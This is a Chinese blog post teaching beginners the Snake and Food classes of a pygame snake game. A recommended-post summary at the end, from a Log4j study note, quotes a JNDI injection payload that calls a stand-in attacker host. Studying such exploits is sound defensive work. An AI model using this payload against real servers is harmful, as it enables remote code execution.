利用AI迭代学习贪吃蛇代码(二)

从零开始学习 Go 1.25 编程 今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀 阅读详情

零基础Python贪吃蛇游戏开发教程(二)

第三部分:Snake类详解 - 面向对象编程入门

在上一篇文章中,我们学习了游戏的基础设置。现在让我们深入探讨Snake类的实现,这是理解面向对象编程(OOP)的绝佳示例。

1. 什么是面向对象编程?

想象一下你要建造一栋房子。在面向过程编程中,你会关注"如何一步步建造";而在面向对象编程中,你会先设计"房子"这个概念,包括它的属性(大小、颜色)和方法(开门、关窗)。

class Snake:
    """贪吃蛇类"""
    # 类的内容

class关键字定义了一个类,它是创建对象的蓝图。类名通常采用首字母大写的驼峰命名法。(单词首字母大写连在一起)

2.__init__方法:构造器

def __init__(self):
    self.reset()
  • __init__是特殊方法(双下划线开头),称为构造器或初始化方法
  • 当创建Snake对象时,Python会自动调用这个方法
  • self参数代表对象实例本身,用于访问对象的属性和方法

3.self关键字:对象的"自我意识"

self.positions = []  # 蛇的位置列表
self.direction = UP  # 当前移动方向

self就像是对象说"我的":

  • self.positions:我的位置列表
  • self.direction:我的移动方向
  • self.score:我的分数

每次调用对象的方法时,Python会自动传递这个对象作为self参数。

4.reset方法:初始化蛇的状态

def reset(self):
    """初始化或重置蛇的状态"""
    self.length = 3
    # 初始位置在屏幕中心偏上
    start_x = GRID_WIDTH // 2
    start_y = GRID_HEIGHT // 2
    
    # 初始位置列表:蛇头在上,身体向下延伸
    self.positions = [(start_x, start_y)]
    for i in range(1, self.length):
        new_y = (start_y + i) % GRID_HEIGHT
        self.positions.append((start_x, new_y))
        
    self.direction = UP
    self.next_direction = UP
    self.grow_pending = 0
    self.score = 0
    self.is_alive = True
关键点解析:
  1. 蛇的位置表示:
self.positions = [(x1, y1), (x2, y2), (x3, y3)]

使用列表存储每个身体部分的网格坐标,第一个元素是蛇头。

  1. 穿墙效果的实现:
new_y = (start_y + i) % GRID_HEIGHT

%取模运算符确保坐标始终在网格范围内。

  1. 两个方向变量:
self.direction = UP  # 当前方向
self.next_direction = UP  # 下一个方向

为什么需要两个?防止玩家在同一帧内快速反向操作,导致蛇"自杀"。

5.move方法:蛇的移动逻辑

def move(self):
    """移动蛇"""
    if not self.is_alive:
        return
        
    self.update_direction()
    head_x, head_y = self.get_head_position()
    dir_x, dir_y = self.direction

    # 计算新坐标并实现穿墙效果
    new_x = (head_x + dir_x) % GRID_WIDTH
    new_y = (head_y + dir_y) % GRID_HEIGHT
    new_position = (new_x, new_y)

    # 碰撞检测:检查是否撞到自己
    if new_position in self.positions[1:]:
        self.is_alive = False
        return

    # 移动蛇
    self.positions.insert(0, new_position)
    
    # 如果不需要增长,移除尾部
    if self.grow_pending > 0:
        self.grow_pending -= 1
    else:
        self.positions.pop()
关键点解析:
  1. 坐标计算:
new_x = (head_x + dir_x) % GRID_WIDTH

当前位置 + 方向向量 = 新位置。取模运算实现穿墙。

  1. 碰撞检测:
if new_position in self.positions[1:]:

检查新位置是否在蛇身中(从第二个元素开始检查,排除蛇头)。

  1. 列表操作:
self.positions.insert(0, new_position)  # 头部添加新位置
self.positions.pop()  # 移除尾部位置(如果没增长)

这是贪吃蛇移动的核心:头部长出新段,尾部移除旧段。

6.增长机制

def grow(self):
    """蛇增长"""
    self.grow_pending += 1
    self.score += SCORE_INCREMENT

为什么不直接增加蛇的长度?因为:

  1. 蛇吃到食物后,要在下一次移动时才增长
  2. grow_pending记录待增长的数量
  3. 在move()方法中处理实际增长

这种延迟执行是游戏编程的常见技巧!

7.蛇的绘制

def draw(self, surface: pygame.Surface):
    """绘制蛇"""
    for i, (x, y) in enumerate(self.positions):
        rect = pygame.Rect(
            x * GRID_SIZE, 
            y * GRID_SIZE, 
            GRID_SIZE, 
            GRID_SIZE
        )
        
        # 蛇头
        if i == 0:
            pygame.draw.rect(surface, SNAKE_HEAD, rect)
            # 绘制眼睛...
        
        # 蛇身
        else:
            pygame.draw.rect(surface, SNAKE_BODY, rect.inflate(-4, -4))
关键点解析:
  1. enumerate函数:
for i, (x, y) in enumerate(self.positions):

同时获得索引i和坐标(x, y),用于区分蛇头和蛇身。

  1. pygame.Rect:
pygame.Rect(x, y, width, height)

表示矩形区域,是pygame中重要的基础类。

  1. rect.inflate(-4, -4):
    缩小矩形4像素,让身体部分看起来有间隙。

8.小练习:理解面向对象

  1. 在Snake类中添加一个新属性name,表示蛇的名字
  2. 创建一个change_color方法,可以动态改变蛇的颜色
  3. 添加一个speed属性,并根据长度调整移动速度

第四部分:Food类详解

食物类相对简单,但体现了几个重要概念:

1.依赖注入

class Food:
    def __init__(self, snake_positions: List[Tuple[int, int]] = None):
        self.position = (0, 0)
        self.snake_positions = snake_positions or []
        self.randomize_position()
  • 传入snake_positions参数,避免食物生成在蛇身上
  • snake_positions or []:如果参数为None,使用空列表
  • 这种设计使Food类更加灵活,可以独立测试

2.随机位置生成

def randomize_position(self):
    """随机生成食物位置,确保不在蛇身上"""
    max_attempts = GRID_WIDTH * GRID_HEIGHT
    
    for _ in range(max_attempts):
        new_position = (
            random.randint(0, GRID_WIDTH - 1),
            random.randint(0, GRID_HEIGHT - 1)
        )
        
        if new_position not in self.snake_positions:
            self.position = new_position
            return
    
    # 如果找不到合适位置(几乎不可能),使用备用位置
    self.position = (GRID_WIDTH // 2, GRID_HEIGHT // 2)
关键点解析:
  1. random.randint(a, b):
    返回[a, b]范围内的随机整数

  2. 避免无限循环:

max_attempts = GRID_WIDTH * GRID_HEIGHT

设置最大尝试次数,避免在蛇占满屏幕时程序卡死

  1. 防御性编程:
    即使理论上不可能发生,也要有备用方案

3.圆的绘制

def draw(self, surface: pygame.Surface):
    """绘制食物"""
    x, y = self.position
    center_x = x * GRID_SIZE + GRID_SIZE // 2
    center_y = y * GRID_SIZE + GRID_SIZE // 2
    
    # 绘制圆形食物
    pygame.draw.circle(
        surface, 
        FOOD_COLOR, 
        (center_x, center_y), 
        GRID_SIZE // 2 - 2
    )
    
    # 添加高光效果
    pygame.draw.circle(
        surface, 
        (255, 255, 255), 
        (center_x - 3, center_y - 3), 
        3
    )
关键点解析:
  1. 坐标转换:
    网格坐标 → 像素坐标:
center_x = x * GRID_SIZE + GRID_SIZE // 2
  1. 绘制圆形:
pygame.draw.circle(表面, 颜色, 圆心, 半径)
  1. 高光效果:
    添加一个小白点,模拟光反射,增加立体感

4.小练习:扩展食物类

  1. 创建不同类型的食物(不同颜色、不同分数)
  2. 添加食物闪烁效果(提示:使用pygame.time.get_ticks())
  3. 让食物在一段时间后消失并重新生成

面向对象编程的核心概念

1. 封装

将数据(属性)和操作数据的方法封装在类中,隐藏内部实现细节。

2. 继承(本游戏未使用,但很重要)

class SpecialFood(Food):  # SpecialFood继承自Food
    def __init__(self):
        super().__init__()  # 调用父类的初始化方法
        self.color = (255, 215, 0)  # 金色

3. 多态(本游戏未使用,但很重要)

不同类的对象对同一消息做出不同响应。

4.类与对象的关系

# 类:蓝图
class Dog:
    def __init__(self, name):
        self.name = name
    
    def bark(self):
        return "汪汪!"

# 对象:根据蓝图创建的具体实例
my_dog = Dog("旺财")  # 创建一个Dog对象
print(my_dog.name)    # 访问属性
print(my_dog.bark())  # 调用方法

总结

今天我们学习了:

关键知识点:

  1. 面向对象编程基础:类、对象、属性、方法
  2. self关键字:代表对象实例本身
  3. 构造器__init__:对象初始化
  4. 游戏逻辑实现:蛇的移动、碰撞检测、增长机制
  5. 图形绘制:矩形、圆形、坐标转换

重要编程技巧:

  1. 延迟执行:使用grow_pending处理蛇的增长
  2. 防御性编程:设置最大尝试次数,提供备用方案
  3. 依赖注入:使类更加灵活和可测试
  4. 列表操作:insert()、pop()、enumerate()的使用

思维训练:

  1. 为什么游戏中的蛇用列表表示?
  2. 如果不用grow_pending,如何实现增长?
  3. 穿墙效果除了取模运算,还有其他实现方式吗?

拓展思考:游戏AI的可能性

想象一下,如果我们想让蛇自动寻找食物:

  1. 需要哪些信息?(蛇头位置、食物位置、障碍物位置)
  2. 可以使用什么算法?(BFS、A*寻路算法)
  3. 如何避免蛇陷入死循环?

在下篇文章中,我们将讲解Game类,这是整个游戏的控制中心,学习事件处理、游戏状态管理和主循环的实现。


编程哲学:面向对象编程的核心思想是"万物皆对象"。在游戏开发中,每个游戏元素都可以看作对象,它们有自己的状态和行为,通过消息传递进行交互。

动手实践是最好的学习方式!尝试修改代码,观察变化,你会对概念有更深刻的理解。
利用AI迭代学习贪吃蛇代码(三)
利用AI迭代学习贪吃蛇代码(一)

从零开始学习使用 AI 欢迎踏入ClaudeCode未来世界,开启与AI协作的全新旅程。无论你是零基础新手、开发者,还是非程序员,都能通过实战项目快速掌握智能体协作技能——不再只是提问,而是指挥AI完成复杂任务。你将化身主角,在16个级别、200+实践中成长为高效创造者。真正的优势不再是会用工具,而是懂得如何让智能体为你工作。取代你的不是AI,而是会用AI的人。现在,故事从你开始👇 阅读详情

相关推荐

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。

Txwtech 38

利用AI迭代学习贪吃蛇代码(一)

"""自动检测并安装pygame库"""# 函数体def:定义函数的关键字:函数名():参数列表(这里为空)""" """:文档字符串,说明函数功能Python模块的导入和使用异常处理的基本概念常量和变量的区别RGB颜色表示法向量在游戏中的应用代码复用:使用import导入现有功能,避免重复造轮子防御性编程:使用try-except处理可能的错误良好命名:使用有意义的变量名,让代码自解释常量集中管理:把不会改变的值放在一起,便于修改。

wsys_yysn的博客 683

BQ4050开发进阶(二):Protections参数优化策略与实战解析

本文深入解析了BQ4050电池管理芯片中Protections参数的优化策略与实战方法。针对电压、电流、温度等核心保护功能,详细阐述了如何根据具体电芯特性、负载场景和环境因素,精细调整CUV、COV、OCC/OCD等阈值与延时,以在确保电池绝对安全的前提下,实现极致的用户体验与系统可靠性。

rgv234567的博客 480

利用AI迭代学习贪吃蛇代码(三)

不同类型的食物(不同分数、不同效果)障碍物系统计分板和排行榜游戏设置菜单(调整速度、颜色等)编程感悟:游戏开发是编程学习的绝佳途径,它涵盖了算法、数据结构、图形学、物理模拟等多个领域。从简单的贪吃蛇开始,逐步挑战更复杂的项目,你会发现自己不知不觉中掌握了强大的编程技能。记住,最好的学习方式是实践。动手修改代码,尝试新功能,遇到问题查资料、问社区,这是每个程序员成长的必经之路。祝你编程愉快,期待看到你创作的精彩游戏!🎮如果有任何问题,欢迎继续交流讨论!

wsys_yysn的博客 677

拆解博世、大陆的EMB方案:自增力机构如何省下83%的能耗?

本文深度解析了博世和大陆的电子机械制动(EMB)技术,重点探讨了自增力机构如何实现83%的能耗节省。通过对比电机直驱型和自增力型EMB的技术参数,揭示了自增力机构在能量优化和系统集成方面的创新优势,为汽车电动化和智能化提供了关键技术支持。

weixin_42665725的博客 393

从工艺到器件:用Silvaco ATLAS仿真PIN二极管击穿电压的保姆级指南

本文详细介绍了使用Silvaco ATLAS仿真PIN二极管击穿电压的全流程指南,从工艺仿真基础搭建到器件结构构建,再到击穿特性仿真和结果分析。通过Silvaco工具链,工程师可以在设计阶段精准预测器件性能,优化击穿电压,提升研发效率。

weixin_34259816的博客 355

AI Agent开发实战:从核心原理到主流框架应用指南

大型语言模型作为人工智能的核心技术,通过模拟人类语言理解和生成能力,为复杂任务处理提供了基础。其工作原理基于海量数据训练和Transformer架构,能够进行上下文理解和逻辑推理。这一技术价值在于将AI从被动工具转变为主动的问题解决者,实现了从“计算器”到“智能伙伴”的范式跃迁。在应用场景上,AI Agent通过集成规划、记忆和工具调用等模块,广泛应用于自动化办公、智能客服、数据分析等领域。本文聚焦于AI Agent的开发实践,深入剖析了其自主性和目标导向性的核心特征,并系统介绍了LangChain、Aut

weixin_30595035的博客 380

从零搭建VGGNet

在 forward 方法中实现了前向传播过程,包括卷积、激活、池化和平铺操作,最后通过全连接层得到分类结果。使用 torch.onnx.export 将模型导出为 ONNX 格式的文件 vgg.onnx。导出 ONNX:将模型导出为 ONNX 格式,便于在其他平台或框架中使用。定义 VGG 网络:构建了一个包含多个卷积层、池化层和全连接层的网络。使用 torch.save 将整个模型保存为 vgg.pth 文件。前向传播:对输入数据进行前向传播,得到输出结果。保存模型:将模型保存为 .pth 文件。

开源驱动,创造价值;坦诚清晰,快速失败;让复杂可计算。 521

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 374

RTC 实时时钟实验

如果在 RTC_CR 寄存器中设置了相应的允许位,则在每个TR_CLK 周期中 RTC 产生一个中断(秒中断)。void BKP_WriteBackupRegister(uint16_t BKP_DR, uint16_t Data) // 往备份区域写用户数据的函数 (这个函数的第一个参数就是寄存器的标号了,这个是通过宏定义定义的)存储在 RTC_ALR 寄存器中的可编程时间相比较,如果 RTC_CR 控制寄存器中设置了相应允许位,比较匹配时将产生一个闹钟中断。寄存器操作完成,并同步之后,设置秒钟中断。

m0_55996456的博客 1205

Halcon 形态学 开发案例 (开运算opening(先腐蚀再膨胀)、闭运算closing(先膨胀再腐蚀))

算子方法:功能:使用用户自定义的结构元素对区域进行开运算参数: Region(输入参数) :输入区域 StructElement(输入参数) :结构元素(区域) RegionOpening(输出参数) :开运算后的区域功能:使用圆形结构元素对区域进行开运算参数: Region(输入参数) :输入区域 RegionOpening(输出参数) :开运算后的区域 Radius(输入参数) :圆形结构元素的半径功能:使用矩形结构元素对区域进行开运算。

程序员,他们想的是什么?他们想的永远都是技术,他们崇尚的也永远都是技术。 1618

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 421

RK3568_Android15适配以太网网卡gmac+国产phy芯片YT8531

本文介绍了在Android15 SDK上适配正点原子ATK-DLRK3568开发板网卡的过程。开发板采用GMAC接口搭配YT8531C PHY芯片,包含两个千兆网口。主要内容包括:硬件原理图确认、网络链路连接方式、内核DTS配置(包括GMAC0和GMAC1的参数设置)、PHY驱动适配(基于motorcomm.c驱动文件)、PHY寄存器读写调试方法以及MAC地址设置方式。文章还分析了常见问题,如网卡注册后无法ping通网络的故障现象。通过详细的硬件确认和软件配置,实现了双网卡在Android系统上的完整适配。

Android/Linux驱动开发传帮带学习,让驱动入门门槛更低! 2014

邓明 Agent 系统面试-意图识别学习笔记

不要只是做意图识别而不做测评,就好像要评估 RAG 准确性,在接口服务要测试响应时延,超时控制等等,这里也要关注意图识别准确率,如果面试官认为项目指标太高是在吹牛,关键就是回答因为 Agent 解决的是特定领域的意图识别,识别场景单一,另外就是因为用户输入相对简单。意图识别影响 prompt/spec 的加载,意图识别影响上下文组织,意图识别影响工具选择,意图识别影响 prompt 建议,意图识别得到的意图不是让模型随机生成而是候选类别里去做选择。2.意图识别的原因,以及意图识别得到的是什么?

m0_57222081的博客 215

《网络安全自学教程》- 802.1x协议

802.1x协议架构,工作原理/认证流程,认证方式,MAB认证,触发认证的三种方式,EAP报文格式,EAPOL报文格式

wangyuxiang946的博客 2万+

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 137

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 359

VB摄像头监控

该VB模块可对摄像头捕获的画面进行录像等,可在创建的窗口进行控制

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 160

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 196

将物理先验嵌入机器人学习:从经典力学到 VLA 与 WAM

本文综述了将物理先验嵌入机器人学习的三条路径:数据与表示、模型架构、训练损失,强调其位置决定约束效力。通过夹取软物体案例,阐明运动学、动力学、接触与材料特性在任务中的分层作用。指出物理先验非万能,需匹配实际条件;强约束可加速学习,但误用会引入偏差。提出“有效刚度”等概念,强调主动探测与参数辨识的重要性,并警示仅靠单一方法无法保障安全执行,需结合在线验证与控制闭环。

lovely_yoshino的博客 855

Linux网络学习【深入理解多路转接epoll】

本文围绕 Linux 多路转接 epoll 展开,以“设计动机—核心机制—触发模式—代码实践”为主线,对比 select、poll 的监听管理与就绪检查方式,解析关注集合、就绪列表及核心接口,重点讲解水平触发与边缘触发的行为差异,以及边缘触发配合非阻塞读写的处理要点。结合多连接服务器实践,梳理事件注册、连接接收、部分收发、可写事件按需监听及断开清理流程,厘清就绪通知与操作完成的区别,分析常见错误与性能影响因素,帮助读者建立从事件循环到连接管理的完整认识,为高并发服务器与事件驱动框架开发打下基础。

承于所学,探技术之渊;以代码求政,寻成长之道。 1万+

正则表达式学习笔记 02:基础语法

正则表达式是描述字符匹配规则的迷你语言,由普通字符和元字符组成。普通字符直接匹配自身,而元字符如.、*、+、^、$等具有特殊含义,用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类(如\d)、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意,若要匹配元字符本身,必须使用转义符\。例如,\.可匹配字面点号。

菜鸟的专栏 182

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 347

ES6:Iterator与Generator函数学习及Generator函数和async实现异步编程理解

几个概念:可迭代对象是指具有迭代器接口的对象: 实现类数组使用 for of 循环 对象无法使用数组的迭代器。 generator 函数类似遍历器函数,返回一个迭代器对象; 该对象调用 方法时,会把 后面的表达式作为值 ,并执行当前指针与下一步指针之间的程序。 generator 实现迭代器函数 后面跟的内容为 得到的 值。流程:循环 会调用 generator 函数,返回一个 iterator 对象, 方法由 generator 内部的 决定。 Gene

2403_87566238的博客 220

【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟

在下面去给他写中断子函数,他会在main中去到Timer0这个子函数当中去,再接着跳转回来。再TMOD上,这个是不可位寻址的,必须八位同时复制,如果同时使用定时器1和定时器0,先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉,我们去给他让他只去执行一部分。现在我们要去做中断了,改正之后的是这样,但其实是还有缺陷在的。寄存器是连接软硬件的媒介,我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式,M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。

2601_96469072的博客 220

Git与GitHub系统学习|本地Git工作模型:终端与进程、CWD、HEAD/Index/工作树及Git对象

从GitHub网页端走向本地Git,讲清终端、Shell、进程与工作目录,解释仓库发现、HEAD、Index和工作树,分析Commit/Tree/Blob引用、文件树与暂存机制,区分实测与教学示例。

Brookty的博客 245
上一篇: 利用AI迭代学习贪吃蛇代码(一)
下一篇: 利用AI迭代学习贪吃蛇代码(三)
希烨耕野.ii
博客等级 码龄4年 268粉丝 71原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值